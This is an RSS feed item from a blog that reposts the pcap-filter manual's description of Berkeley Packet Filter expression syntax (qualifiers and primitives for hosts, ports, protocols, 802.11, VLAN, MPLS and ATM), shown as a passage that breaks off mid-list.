<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title> &#187; Reading material</title>
	<atom:link href="http://www.megapanzer.com/category/reading-material/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.megapanzer.com</link>
	<description></description>
	<lastBuildDate>Fri, 23 Dec 2011 13:02:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Berkeley Packet Filter (BPF) syntax in Pcap</title>
		<link>http://www.megapanzer.com/2011/03/04/berkeley-packet-filter-bpf-syntax-in-pcap/</link>
		<comments>http://www.megapanzer.com/2011/03/04/berkeley-packet-filter-bpf-syntax-in-pcap/#comments</comments>
		<pubDate>Fri, 04 Mar 2011 13:00:10 +0000</pubDate>
		<dc:creator>carrumba</dc:creator>
				<category><![CDATA[Reading material]]></category>
		<category><![CDATA[BPF]]></category>
		<category><![CDATA[Sniffer]]></category>
		<category><![CDATA[tcpdump]]></category>

		<guid isPermaLink="false">http://www.megapanzer.com/?p=5024</guid>
		<description><![CDATA[pcap_compile() is used to compile a string into a filter program. The resulting filter program can then be applied to some stream of packets to determine which packets will be supplied to pcap_loop(), pcap_dis- patch(), pcap_next(), or pcap_next_ex(). The filter expression consists of one or more primitives. Primitives usually consist of an id (name or [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.megapanzer.com/wp-content/uploads/books.jpg"><img src="http://www.megapanzer.com/wp-content/uploads/books-150x150.jpg" alt="" title="books" width="75" height="75" class="alignright size-thumbnail wp-image-2238" /></a>       <b>pcap_compile()</b>  is used to compile a string into a filter program.  The<br />
       resulting filter program can then be applied to some stream of  packets<br />
       to  determine  which packets will be supplied to <b>pcap_loop()</b>, <b>pcap_dis-</b><br />
       <b>patch()</b>, <b>pcap_next()</b>, or <b>pcap_next_ex()</b>.</p>
<p>       The <i>filter</i> <i>expression</i> consists of one or more  <i>primitives</i>.   Primitives<br />
       usually consist of an <i>id</i> (name or number) preceded by one or more qual-<br />
       ifiers.  There are three different kinds of qualifier:</p>
<p>       <i>type</i>   qualifiers say what kind of thing the id name or  number  refers<br />
              to.   Possible  types are <b>host</b>, <b>net</b> <b>,</b> <b>port</b> and <b>portrange</b>.  E.g.,<br />
              `host foo&#8217;, `net 128.3&#8242;, `port 20&#8242;, `portrange  6000-6008&#8242;.   If<br />
              there is no type qualifier, <b>host</b> is assumed.<br />
 <span id="more-5024"></span><br />
       <i>dir</i>    qualifiers  specify  a  particular  transfer direction to and/or<br />
              from <i>id</i>.  Possible directions are <b>src</b>, <b>dst</b>, <b>src</b> <b>or</b> <b>dst</b>, <b>src</b>  <b>and</b><br />
              <b>dst</b>,  <b>addr1</b>, <b>addr2</b>, <b>addr3</b>, and <b>addr4</b>.  E.g., `src foo&#8217;, `dst net<br />
              128.3&#8242;, `src or dst port ftp-data&#8217;.  If there is no  dir  quali-<br />
              fier, <b>src</b> <b>or</b> <b>dst</b> is assumed.  The <b>addr1</b>, <b>addr2</b>, <b>addr3</b>, and <b>addr4</b><br />
              qualifiers are only valid for IEEE 802.11 Wireless LAN link lay-<br />
              ers.   For  some  link  layers,  such as SLIP and the &#8220;cooked&#8221;<br />
              Linux capture mode used for the  &#8220;any&#8221;  device  and  for  some<br />
              other  device  types, the <b>inbound</b> and <b>outbound</b> qualifiers can be<br />
              used to specify a desired direction.</p>
<p>       <i>proto</i>  qualifiers restrict the match to a particular protocol.   Possi-<br />
              ble  protos are: <b>ether</b>, <b>fddi</b>, <b>tr</b>, <b>wlan</b>, <b>ip</b>, <b>ip6</b>, <b>arp</b>, <b>rarp</b>, <b>dec-</b><br />
              <b>net</b>, <b>tcp</b> and <b>udp</b>.  E.g., `ether src foo&#8217;, `arp net 128.3&#8242;,  `tcp<br />
              port  21&#8242;,  `udp portrange 7000-7009&#8242;, `wlan addr2 0:2:3:4:5:6&#8242;.<br />
              If there is no proto qualifier, all  protocols  consistent  with<br />
              the  type  are  assumed.   E.g.,  `src foo&#8217; means `(ip or arp or<br />
              rarp) src foo&#8217; (except the latter is  not  legal  syntax),  `net<br />
              bar&#8217;  means  `(ip  or  arp or rarp) net bar&#8217; and `port 53&#8242; means<br />
              `(tcp or udp) port 53&#8242;.</p>
<p>       [`fddi' is actually an alias for `ether'; the parser treats them  iden-<br />
       tically  as meaning ``the data link level used on the specified network<br />
       interface.''  FDDI headers contain Ethernet-like source and destination<br />
       addresses,  and  often  contain  Ethernet-like packet types, so you can<br />
       filter on these FDDI fields just as with the analogous Ethernet fields.<br />
       FDDI  headers  also  contain  other  fields,  but  you cannot name them<br />
       explicitly in a filter expression.</p>
<p>       Similarly, `tr' and `wlan' are aliases for `ether'; the previous  para-<br />
       graph's  statements  about  FDDI  headers  also apply to Token Ring and<br />
       802.11 wireless LAN  headers.   For  802.11  headers,  the  destination<br />
       address  is  the  DA  field and the source address is the SA field; the<br />
       BSSID, RA, and TA fields aren't tested.]</p>
<p>       In addition to the above, there are some special  `primitive&#8217;  keywords<br />
       that  don&#8217;t  follow  the pattern: <b>gateway</b>, <b>broadcast</b>, <b>less</b>, <b>greater</b> and<br />
       arithmetic expressions.  All of these are described below.</p>
<p>       More complex filter expressions are built up by using the words <b>and</b>, <b>or</b><br />
       and  <b>not</b>  to  combine primitives.  E.g., `host foo and not port ftp and<br />
       not port ftp-data&#8217;.  To save typing, identical qualifier lists  can  be<br />
       omitted.  E.g., `tcp dst port ftp or ftp-data or domain&#8217; is exactly the<br />
       same as `tcp dst port ftp or tcp dst port  ftp-data  or  tcp  dst  port<br />
       domain&#8217;.</p>
<p>       Allowable primitives are:</p>
<p>       <b>dst</b> <b>host</b> <i>host</i><br />
              True  if  the  IPv4/v6  destination field of the packet is <i>host</i>,<br />
              which may be either an address or a name.</p>
<p>       <b>src</b> <b>host</b> <i>host</i><br />
              True if the IPv4/v6 source field of the packet is <i>host</i>.</p>
<p>       <b>host</b> <i>host</i><br />
              True if either the IPv4/v6 source or destination of  the  packet<br />
              is <i>host</i>.</p>
<p>              Any of the above host expressions can be prepended with the key-<br />
              words, <b>ip</b>, <b>arp</b>, <b>rarp</b>, or <b>ip6</b> as in:<br />
                   <b>ip</b> <b>host</b> <i>host</i><br />
              which is equivalent to:<br />
                   <b>ether</b> <b>proto</b> <i>\ip</i> <b>and</b> <b>host</b> <i>host</i><br />
              If <i>host</i> is a name with multiple IP addresses, each address  will<br />
              be checked for a match.</p>
<p>       <b>ether</b> <b>dst</b> <i>ehost</i><br />
              True if the Ethernet destination address is <i>ehost</i>.  <i>Ehost</i> may be<br />
              either a name from /etc/ethers or a number (see  <b><a href="http://www.megapanzer.com/man/3/ethers/">ethers(3N)</a></b>  for<br />
              numeric format).</p>
<p>       <b>ether</b> <b>src</b> <i>ehost</i><br />
              True if the Ethernet source address is <i>ehost</i>.</p>
<p>       <b>ether</b> <b>host</b> <i>ehost</i><br />
              True  if  either  the  Ethernet source or destination address is<br />
              <i>ehost</i>.</p>
<p>       <b>gateway</b> <i>host</i><br />
              True if the packet used <i>host</i> as a gateway.  I.e.,  the  Ethernet<br />
              source or destination address was <i>host</i> but neither the IP source<br />
              nor the IP destination was <i>host</i>.  <i>Host</i> must be a name  and  must<br />
              be  found  both by the machine&#8217;s host-name-to-IP-address resolu-<br />
              tion mechanisms (host name file, DNS,  NIS,  etc.)  and  by  the<br />
              machine&#8217;s   host-name-to-Ethernet-address  resolution  mechanism<br />
              (/etc/ethers, etc.).  (An equivalent expression is<br />
                   <b>ether</b> <b>host</b> <i>ehost</i> <b>and</b> <b>not</b> <b>host</b> <i>host</i><br />
              which can be used with  either  names  or  numbers  for  <i>host</i>  <i>/</i><br />
              <i>ehost</i>.)  This syntax does not work in IPv6-enabled configuration<br />
              at this moment.</p>
<p>       <b>dst</b> <b>net</b> <i>net</i><br />
              True if the IPv4/v6 destination address of the packet has a net-<br />
              work  number of <i>net</i>.  <i>Net</i> may be either a name from the networks<br />
              database (/etc/networks, etc.) or a  network  number.   An  IPv4<br />
              network   number   can  be  written  as  a  dotted  quad  (e.g.,<br />
              192.168.1.0), dotted triple (e.g., 192.168.1), dotted pair (e.g,<br />
              172.16),   or   single   number   (e.g.,  10);  the  netmask  is<br />
              255.255.255.255 for a dotted quad (which means that it&#8217;s  really<br />
              a  host  match),  255.255.255.0 for a dotted triple, 255.255.0.0<br />
              for a dotted pair, or 255.0.0.0 for a single  number.   An  IPv6<br />
              network  number  must  be  written  out  fully;  the  netmask is<br />
              ff:ff:ff:ff:ff:ff:ff:ff, so IPv6 &#8220;network&#8221;  matches  are  really<br />
              always  host  matches,  and  a  network match requires a netmask<br />
              length.</p>
<p>       <b>src</b> <b>net</b> <i>net</i><br />
              True if the IPv4/v6 source address of the packet has  a  network<br />
              number of <i>net</i>.</p>
<p>       <b>net</b> <i>net</i><br />
              True  if either the IPv4/v6 source or destination address of the<br />
              packet has a network number of <i>net</i>.</p>
<p>       <b>net</b> <i>net</i> <b>mask</b> <i>netmask</i><br />
              True if the IPv4 address matches <i>net</i> with the specific  <i>netmask</i>.<br />
              May  be qualified with <b>src</b> or <b>dst</b>.  Note that this syntax is not<br />
              valid for IPv6 <i>net</i>.</p>
<p>       <b>net</b> <i>net</i>/<i>len</i><br />
              True if the IPv4/v6 address matches <i>net</i> with a netmask <i>len</i>  bits<br />
              wide.  May be qualified with <b>src</b> or <b>dst</b>.</p>
<p>       <b>dst</b> <b>port</b> <i>port</i><br />
              True if the packet is ip/tcp, ip/udp, ip6/tcp or ip6/udp and has<br />
              a destination port value of <i>port</i>.  The <i>port</i> can be a number or a<br />
              name used in /etc/services (see <b><a href="http://www.megapanzer.com/man/4/tcp/">tcp(4P)</a></b> and <b><a href="http://www.megapanzer.com/man/4/udp/">udp(4P)</a></b>).  If a name<br />
              is used, both the port number and protocol are  checked.   If  a<br />
              number  or  ambiguous  name  is  used,  only  the port number is<br />
              checked (e.g., <b>dst</b> <b>port</b> <b>513</b> will print  both  tcp/login  traffic<br />
              and  udp/who traffic, and <b>port</b> <b>domain</b> will print both tcp/domain<br />
              and udp/domain traffic).</p>
<p>       <b>src</b> <b>port</b> <i>port</i><br />
              True if the packet has a source port value of <i>port</i>.</p>
<p>       <b>port</b> <i>port</i><br />
              True if either the source or destination port of the  packet  is<br />
              <i>port</i>.</p>
<p>       <b>dst</b> <b>portrange</b> <i>port1</i><b>-</b><i>port2</i><br />
              True if the packet is ip/tcp, ip/udp, ip6/tcp or ip6/udp and has<br />
              a destination port value between <i>port1</i>  and  <i>port2</i>.   <i>port1</i>  and<br />
              <i>port2</i>  are interpreted in the same fashion as the <i>port</i> parameter<br />
              for <b>port</b>.</p>
<p>       <b>src</b> <b>portrange</b> <i>port1</i><b>-</b><i>port2</i><br />
              True if the packet has a source port  value  between  <i>port1</i>  and<br />
              <i>port2</i>.</p>
<p>       <b>portrange</b> <i>port1</i><b>-</b><i>port2</i><br />
              True  if  either the source or destination port of the packet is<br />
              between <i>port1</i> and <i>port2</i>.</p>
<p>              Any of the above port or port range expressions can be prepended<br />
              with the keywords, <b>tcp</b> or <b>udp</b>, as in:<br />
                   <b>tcp</b> <b>src</b> <b>port</b> <i>port</i><br />
              which matches only tcp packets whose source port is <i>port</i>.</p>
<p>       <b>less</b> <i>length</i><br />
              True  if  the  packet has a length less than or equal to <i>length</i>.<br />
              This is equivalent to:<br />
                   <b>len</b> <b>&lt;=</b> <i>length</i><b>.</b> </p>
<p>       <b>greater</b> <i>length</i><br />
              True if the packet has a length greater than or equal to <i>length</i>.<br />
              This is equivalent to:<br />
                   <b>len</b> <b>&gt;=</b> <i>length</i><b>.</b> </p>
<p>       <b>ip</b> <b>proto</b> <i>protocol</i><br />
              True  if  the  packet is an IPv4 packet (see <b><a href="http://www.megapanzer.com/man/4/ip/">ip(4P)</a></b>) of protocol<br />
              type <i>protocol</i>.  <i>Protocol</i> can be a number or  one  of  the  names<br />
              <b>icmp</b>,  <b>icmp6</b>, <b>igmp</b>, <b>igrp</b>, <b>pim</b>, <b>ah</b>, <b>esp</b>, <b>vrrp</b>, <b>udp</b>, or <b>tcp</b>.  Note<br />
              that the identifiers <b>tcp</b>, <b>udp</b>, and <b>icmp</b> are  also  keywords  and<br />
              must  be  escaped via backslash (\), which is \\ in the C-shell.<br />
              Note that this primitive does  not  chase  the  protocol  header<br />
              chain.</p>
<p>       <b>ip6</b> <b>proto</b> <i>protocol</i><br />
              True  if the packet is an IPv6 packet of protocol type <i>protocol</i>.<br />
              Note that this primitive does  not  chase  the  protocol  header<br />
              chain.</p>
<p>       <b>ip6</b> <b>protochain</b> <i>protocol</i><br />
              True  if the packet is IPv6 packet, and contains protocol header<br />
              with type <i>protocol</i> in its protocol header chain.  For example,<br />
                   <b>ip6</b> <b>protochain</b> <b>6</b><br />
              matches any IPv6 packet with TCP protocol header in the protocol<br />
              header  chain.  The packet may contain, for example, authentica-<br />
              tion  header,  routing  header,  or  hop-by-hop  option  header,<br />
              between  IPv6  header  and  TCP header.  The BPF code emitted by<br />
              this primitive is complex and cannot be  optimized  by  the  BPF<br />
              optimizer code, so this can be somewhat slow.</p>
<p>       <b>ip</b> <b>protochain</b> <i>protocol</i><br />
              Equivalent to <b>ip6</b> <b>protochain</b> <i>protocol</i>, but this is for IPv4.</p>
<p>       <b>ether</b> <b>broadcast</b><br />
              True  if  the packet is an Ethernet broadcast packet.  The <i>ether</i><br />
              keyword is optional.</p>
<p>       <b>ip</b> <b>broadcast</b><br />
              True if the packet is an IPv4 broadcast packet.  It  checks  for<br />
              both  the  all-zeroes  and  all-ones  broadcast conventions, and<br />
              looks up the subnet mask on the interface on which  the  capture<br />
              is being done.</p>
<p>              If  the  subnet  mask  of  the interface on which the capture is<br />
              being done is not available, either  because  the  interface  on<br />
              which  capture  is being done has no netmask or because the cap-<br />
              ture is being done on the Linux &#8220;any&#8221; interface, which can  cap-<br />
              ture  on  more than one interface, this check will not work cor-<br />
              rectly.</p>
<p>       <b>ether</b> <b>multicast</b><br />
              True if the packet is an Ethernet multicast packet.   The  <b>ether</b><br />
              keyword is optional.  This is shorthand for `<b>ether[0]</b> <b>&amp;</b> <b>1</b> <b>!=</b> <b>0</b>&#8216;.</p>
<p>       <b>ip</b> <b>multicast</b><br />
              True if the packet is an IPv4 multicast packet.</p>
<p>       <b>ip6</b> <b>multicast</b><br />
              True if the packet is an IPv6 multicast packet.</p>
<p>       <b>ether</b> <b>proto</b> <i>protocol</i><br />
              True if the packet is of ether type <i>protocol</i>.  <i>Protocol</i> can be a<br />
              number or one of the names <b>ip</b>, <b>ip6</b>, <b>arp</b>, <b>rarp</b>, <b>atalk</b>, <b>aarp</b>, <b>dec-</b><br />
              <b>net</b>, <b>sca</b>, <b>lat</b>, <b>mopdl</b>, <b>moprc</b>, <b>iso</b>, <b>stp</b>, <b>ipx</b>,  or  <b>netbeui</b>.   Note<br />
              these  identifiers  are  also  keywords  and must be escaped via<br />
              backslash (\).</p>
<p>              [In the case of FDDI (e.g., `<b>fddi</b>  <b>protocol</b>  <b>arp</b>'),  Token  Ring<br />
              (e.g.,  `<b>tr</b> <b>protocol</b> <b>arp</b>'), and IEEE 802.11 wireless LANS (e.g.,<br />
              `<b>wlan</b> <b>protocol</b> <b>arp</b>'), for most of those protocols, the  protocol<br />
              identification  comes  from the 802.2 Logical Link Control (LLC)<br />
              header, which is usually layered on top of the FDDI, Token Ring,<br />
              or 802.11 header.</p>
<p>              When  filtering  for  most  protocol  identifiers on FDDI, Token<br />
              Ring, or 802.11, the filter checks only the protocol ID field of<br />
              an  LLC  header  in so-called SNAP format with an Organizational<br />
              Unit Identifier (OUI) of 0x000000, for encapsulated Ethernet; it<br />
              doesn't  check  whether the packet is in SNAP format with an OUI<br />
              of 0x000000.  The exceptions are:</p>
<p>              <b>iso</b>    the filter checks the DSAP  (Destination  Service  Access<br />
                     Point)  and  SSAP (Source Service Access Point) fields of<br />
                     the LLC header;</p>
<p>              <b>stp</b> and <b>netbeui</b><br />
                     the filter checks the DSAP of the LLC header;</p>
<p>              <b>atalk</b>  the filter checks for a SNAP-format packet with an OUI of<br />
                     0x080007 and the AppleTalk etype.</p>
<p>              In  the  case  of  Ethernet, the filter checks the Ethernet type<br />
              field for most of those protocols.  The exceptions are:</p>
<p>              <b>iso</b>, <b>stp</b>, and <b>netbeui</b><br />
                     the filter checks for an 802.3 frame and then checks  the<br />
                     LLC header as it does for FDDI, Token Ring, and 802.11;</p>
<p>              <b>atalk</b>  the filter checks both for the AppleTalk etype in an Eth-<br />
                     ernet frame and for a SNAP-format packet as it  does  for<br />
                     FDDI, Token Ring, and 802.11;</p>
<p>              <b>aarp</b>   the  filter  checks for the AppleTalk ARP etype in either<br />
                     an Ethernet frame or an 802.2 SNAP frame with an  OUI  of<br />
                     0x000000;</p>
<p>              <b>ipx</b>    the filter checks for the IPX etype in an Ethernet frame,<br />
                     the IPX DSAP in the LLC  header,  the  802.3-with-no-LLC-<br />
                     header  encapsulation of IPX, and the IPX etype in a SNAP<br />
                     frame.</p>
<p>       <b>decnet</b> <b>src</b> <i>host</i><br />
              True if the DECNET source address  is  <i>host</i>,  which  may  be  an<br />
              address  of the form ``10.123'', or a DECNET host name.  [DECNET<br />
              host name support is only available on ULTRIX systems  that  are<br />
              configured to run DECNET.]</p>
<p>       <b>decnet</b> <b>dst</b> <i>host</i><br />
              True if the DECNET destination address is <i>host</i>.</p>
<p>       <b>decnet</b> <b>host</b> <i>host</i><br />
              True if either the DECNET source or destination address is <i>host</i>.</p>
<p>       <b>ifname</b> <i>interface</i><br />
              True if the packet was  logged  as  coming  from  the  specified<br />
              interface  (applies  only  to  packets  logged  by  OpenBSD&#8217;s or<br />
              FreeBSD&#8217;s <b>pf(4)</b>).</p>
<p>       <b>on</b> <i>interface</i><br />
              Synonymous with the <b>ifname</b> modifier.</p>
<p>       <b>rnr</b> <i>num</i><br />
              True if the packet was logged as matching the specified PF  rule<br />
              number (applies only to packets logged by OpenBSD&#8217;s or FreeBSD&#8217;s<br />
              <b>pf(4)</b>).</p>
<p>       <b>rulenum</b> <i>num</i><br />
              Synonymous with the <b>rnr</b> modifier.</p>
<p>       <b>reason</b> <i>code</i><br />
              True if the packet was logged with the specified PF reason code.<br />
              The known codes are: <b>match</b>, <b>bad-offset</b>, <b>fragment</b>, <b>short</b>, <b>normal-</b><br />
              <b>ize</b>, and <b>memory</b> (applies only to packets logged by OpenBSD&#8217;s  or<br />
              FreeBSD&#8217;s <b>pf(4)</b>).</p>
<p>       <b>rset</b> <i>name</i><br />
              True if the packet was logged as matching the specified PF rule-<br />
              set name of an anchored ruleset (applies only to packets  logged<br />
              by OpenBSD&#8217;s or FreeBSD&#8217;s <b>pf(4)</b>).</p>
<p>       <b>ruleset</b> <i>name</i><br />
              Synonomous with the <b>rset</b> modifier.</p>
<p>       <b>srnr</b> <i>num</i><br />
              True  if the packet was logged as matching the specified PF rule<br />
              number of an anchored ruleset (applies only to packets logged by<br />
              OpenBSD&#8217;s or FreeBSD&#8217;s <b>pf(4)</b>).</p>
<p>       <b>subrulenum</b> <i>num</i><br />
              Synonomous with the <b>srnr</b> modifier.</p>
<p>       <b>action</b> <i>act</i><br />
              True if PF took the specified action when the packet was logged.<br />
              Known actions are: <b>pass</b> and <b>block</b> and, with  later  versions  of<br />
              <b>pf(4)</b>),  <b>nat</b>,  <b>rdr</b>,  <b>binat</b>  and  <b>scrub</b>  (applies only to packets<br />
              logged by OpenBSD&#8217;s or FreeBSD&#8217;s <b>pf(4)</b>).</p>
<p>       <b>wlan</b> <b>addr1</b> <i>ehost</i><br />
              True if the first IEEE 802.11 address is <i>ehost</i>.</p>
<p>       <b>wlan</b> <b>addr2</b> <i>ehost</i><br />
              True if the second IEEE 802.11 address, if  present,  is  <i>ehost</i>.<br />
              The  second  address  field is used in all frames except for CTS<br />
              (Clear To Send) and ACK (Acknowledgment) control frames.</p>
<p>       <b>wlan</b> <b>addr3</b> <i>ehost</i><br />
              True if the third IEEE 802.11 address,  if  present,  is  <i>ehost</i>.<br />
              The  third  address field is used in management and data frames,<br />
              but not in control frames.</p>
<p>       <b>wlan</b> <b>addr4</b> <i>ehost</i><br />
              True if the fourth IEEE 802.11 address, if  present,  is  <i>ehost</i>.<br />
              The  fourth address field is only used for WDS (Wireless Distri-<br />
              bution System) frames.</p>
<p>       <b>ip</b>, <b>ip6</b>, <b>arp</b>, <b>rarp</b>, <b>atalk</b>, <b>aarp</b>, <b>decnet</b>, <b>iso</b>, <b>stp</b>, <b>ipx</b>, <i>netbeui</i><br />
              Abbreviations for:<br />
                   <b>ether</b> <b>proto</b> <i>p</i><br />
              where <i>p</i> is one of the above protocols.</p>
<p>       <b>lat</b>, <b>moprc</b>, <b>mopdl</b><br />
              Abbreviations for:<br />
                   <b>ether</b> <b>proto</b> <i>p</i><br />
              where <i>p</i> is one of the above protocols.  Note that not all appli-<br />
              cations  using  <b><a href="http://www.megapanzer.com/man/3/pcap/">pcap(3)</a></b> currently know how to parse these proto-<br />
              cols.</p>
<p>       <b>type</b> <i>wlan</i><b>_</b><i>type</i><br />
              True if  the  IEEE  802.11  frame  type  matches  the  specified<br />
              <i>wlan</i><b>_</b><i>type</i>.  Valid <i>wlan</i><b>_</b><i>type</i>s are: <b>mgt</b>, <b>ctl</b> and <b>data</b>.</p>
<p>       <b>type</b> <i>wlan</i><b>_</b><i>type</i> <b>subtype</b> <i>wlan</i><b>_</b><i>subtype</i><br />
              True  if  the  IEEE  802.11  frame  type  matches  the specified<br />
              <i>wlan</i><b>_</b><i>type</i> and frame subtype matches the specified  <i>wlan</i><b>_</b><i>subtype</i>.</p>
<p>              If the specified <i>wlan</i><b>_</b><i>type</i> is <b>mgt</b>, then valid <i>wlan</i><b>_</b><i>subtype</i>s are:<br />
              <b>assoc-req</b>,  <b>assoc-resp</b>,  <b>reassoc-req</b>,  <b>reassoc-resp</b>,  <b>probe-req</b>,<br />
              <b>probe-resp</b>, <b>beacon</b>, <b>atim</b>, <b>disassoc</b>, <b>auth</b> and <b>deauth</b>.</p>
<p>              If the specified <i>wlan</i><b>_</b><i>type</i> is <b>ctl</b>, then valid <i>wlan</i><b>_</b><i>subtype</i>s are:<br />
              <b>ps-poll</b>, <b>rts</b>, <b>cts</b>, <b>ack</b>, <b>cf-end</b> and <b>cf-end-ack</b>.</p>
<p>              If the specified <i>wlan</i><b>_</b><i>type</i> is  <b>data</b>,  then  valid  <i>wlan</i><b>_</b><i>subtype</i>s<br />
              are:  <b>data</b>,  <b>data-cf-ack</b>,  <b>data-cf-poll</b>, <b>data-cf-ack-poll</b>, <b>null</b>,<br />
              <b>cf-ack</b>, <b>cf-poll</b>, <b>cf-ack-poll</b>,  <b>qos-data</b>,  <b>qos-data-cf-ack</b>,  <b>qos-</b><br />
              <b>data-cf-poll</b>, <b>qos-data-cf-ack-poll</b>, <b>qos</b>, <b>qos-cf-poll</b> and <b>qos-cf-</b><br />
              <b>ack-poll</b>.</p>
<p>       <b>subtype</b> <i>wlan</i><b>_</b><i>subtype</i><br />
              True if the IEEE 802.11  frame  subtype  matches  the  specified<br />
              <i>wlan</i><b>_</b><i>subtype</i>  and  frame  has  the  type  to which the specified<br />
              <i>wlan</i><b>_</b><i>subtype</i> belongs.</p>
<p>       <b>dir</b> <i>dir</i><br />
              True if the IEEE 802.11 frame direction  matches  the  specified<br />
              <i>dir</i>.   Valid  directions  are:  <b>nods</b>, <b>tods</b>, <b>fromds</b>, <b>dstods</b>, or a<br />
              numeric value.</p>
<p>       <b>vlan</b> <i>[vlan</i><b>_</b><i>id]</i><br />
              True if the packet is an IEEE 802.1Q VLAN packet.  If  <i>[vlan</i><b>_</b><i>id]</i><br />
              is specified, only true if the packet has the specified <i>vlan</i><b>_</b><i>id</i>.<br />
              Note that the  first  <b>vlan</b>  keyword  encountered  in  <i>expression</i><br />
              changes  the decoding offsets for the remainder of <i>expression</i> on<br />
              the assumption that the packet  is  a  VLAN  packet.   The  <b>vlan</b><br />
              <i>[vlan</i><b>_</b><i>id]</i>  expression  may  be used more than once, to filter on<br />
              VLAN hierarchies.  Each use of that  expression  increments  the<br />
              filter offsets by 4.</p>
<p>              For example:<br />
                   <b>vlan</b> <b>100</b> <b>&amp;&amp;</b> <b>vlan</b> <b>200</b><br />
              filters on VLAN 200 encapsulated within VLAN 100, and<br />
                   <b>vlan</b> <b>&amp;&amp;</b> <b>vlan</b> <b>300</b> <b>&amp;&amp;</b> <b>ip</b><br />
              filters  IPv4  protocols  encapsulated  in VLAN 300 encapsulated<br />
              within any higher order VLAN.</p>
<p>       <b>mpls</b> <i>[label</i><b>_</b><i>num]</i><br />
              True if the packet is an MPLS packet.  If <i>[label</i><b>_</b><i>num]</i> is  speci-<br />
              fied, only true is the packet has the specified <i>label</i><b>_</b><i>num</i>.  Note<br />
              that the first <b>mpls</b> keyword encountered  in  <i>expression</i>  changes<br />
              the  decoding  offsets  for  the  remainder of <i>expression</i> on the<br />
              assumption that the packet is  a  MPLS-encapsulated  IP  packet.<br />
              The  <b>mpls</b>  <i>[label</i><b>_</b><i>num]</i> expression may be used more than once, to<br />
              filter on MPLS hierarchies.  Each use of that expression  incre-<br />
              ments the filter offsets by 4.</p>
<p>              For example:<br />
                   <b>mpls</b> <b>100000</b> <b>&amp;&amp;</b> <b>mpls</b> <b>1024</b><br />
              filters packets with an outer label of 100000 and an inner label<br />
              of 1024, and<br />
                   <b>mpls</b> <b>&amp;&amp;</b> <b>mpls</b> <b>1024</b> <b>&amp;&amp;</b> <b>host</b> <b>192.9.200.1</b><br />
              filters packets to or from 192.9.200.1 with an  inner  label  of<br />
              1024 and any outer label.</p>
<p>       <b>pppoed</b> True if the packet is a PPP-over-Ethernet Discovery packet (Eth-<br />
              ernet type 0&#215;8863).</p>
<p>       <b>pppoes</b> True if the packet is a PPP-over-Ethernet Session packet (Ether-<br />
              net  type  0&#215;8864).   Note that the first <b>pppoes</b> keyword encoun-<br />
              tered in <i>expression</i> changes the decoding offsets for the remain-<br />
              der  of  <i>expression</i> on the assumption that the packet is a PPPoE<br />
              session packet.</p>
<p>              For example:<br />
                   <b>pppoes</b> <b>&amp;&amp;</b> <b>ip</b><br />
              filters IPv4 protocols encapsulated in PPPoE.</p>
<p>       <b>tcp</b>, <b>udp</b>, <b>icmp</b><br />
              Abbreviations for:<br />
                   <b>ip</b> <b>proto</b> <i>p</i> <b>or</b> <b>ip6</b> <b>proto</b> <i>p</i><br />
              where <i>p</i> is one of the above protocols.</p>
<p>       <b>iso</b> <b>proto</b> <i>protocol</i><br />
              True if the packet is an OSI packet of protocol  type  <i>protocol</i>.<br />
              <i>Protocol</i>  can  be  a  number  or one of the names <b>clnp</b>, <b>esis</b>, or<br />
              <b>isis</b>.</p>
<p>       <b>clnp</b>, <b>esis</b>, <b>isis</b><br />
              Abbreviations for:<br />
                   <b>iso</b> <b>proto</b> <i>p</i><br />
              where <i>p</i> is one of the above protocols.</p>
<p>       <b>l1</b>, <b>l2</b>, <b>iih</b>, <b>lsp</b>, <b>snp</b>, <b>csnp</b>, <b>psnp</b><br />
              Abbreviations for IS-IS PDU types.</p>
<p>       <b>vpi</b> <i>n</i>  True if the packet is an ATM packet, for SunATM on Solaris, with<br />
              a virtual path identifier of <i>n</i>.</p>
<p>       <b>vci</b> <i>n</i>  True if the packet is an ATM packet, for SunATM on Solaris, with<br />
              a virtual channel identifier of <i>n</i>.</p>
<p>       <b>lane</b>   True if the packet is an ATM packet, for SunATM on Solaris,  and<br />
              is an ATM LANE packet.  Note that the first <b>lane</b> keyword encoun-<br />
              tered in <i>expression</i> changes the tests done in the  remainder  of<br />
              <i>expression</i>  on  the  assumption that the packet is either a LANE<br />
              emulated Ethernet packet or a LANE LE Control packet.   If  <b>lane</b><br />
              isn&#8217;t  specified,  the  tests are done under the assumption that<br />
              the packet is an LLC-encapsulated packet.</p>
<p>       <b>llc</b>    True if the packet is an ATM packet, for SunATM on Solaris,  and<br />
              is an LLC-encapsulated packet.</p>
<p>       <b>oamf4s</b> True  if the packet is an ATM packet, for SunATM on Solaris, and<br />
              is a segment OAM F4 flow cell (VPI=0 &amp; VCI=3).</p>
<p>       <b>oamf4e</b> True if the packet is an ATM packet, for SunATM on Solaris,  and<br />
              is an end-to-end OAM F4 flow cell (VPI=0 &amp; VCI=4).</p>
<p>       <b>oamf4</b>  True  if the packet is an ATM packet, for SunATM on Solaris, and<br />
              is a segment or end-to-end OAM F4 flow cell (VPI=0  &amp;  (VCI=3  |<br />
              VCI=4)).</p>
<p>       <b>oam</b>    True  if the packet is an ATM packet, for SunATM on Solaris, and<br />
              is a segment or end-to-end OAM F4 flow cell (VPI=0  &amp;  (VCI=3  |<br />
              VCI=4)).</p>
<p>       <b>metac</b>  True  if the packet is an ATM packet, for SunATM on Solaris, and<br />
              is on a meta signaling circuit (VPI=0 &amp; VCI=1).</p>
<p>       <b>bcc</b>    True if the packet is an ATM packet, for SunATM on Solaris,  and<br />
              is on a broadcast signaling circuit (VPI=0 &amp; VCI=2).</p>
<p>       <b>sc</b>     True  if the packet is an ATM packet, for SunATM on Solaris, and<br />
              is on a signaling circuit (VPI=0 &amp; VCI=5).</p>
<p>       <b>ilmic</b>  True if the packet is an ATM packet, for SunATM on Solaris,  and<br />
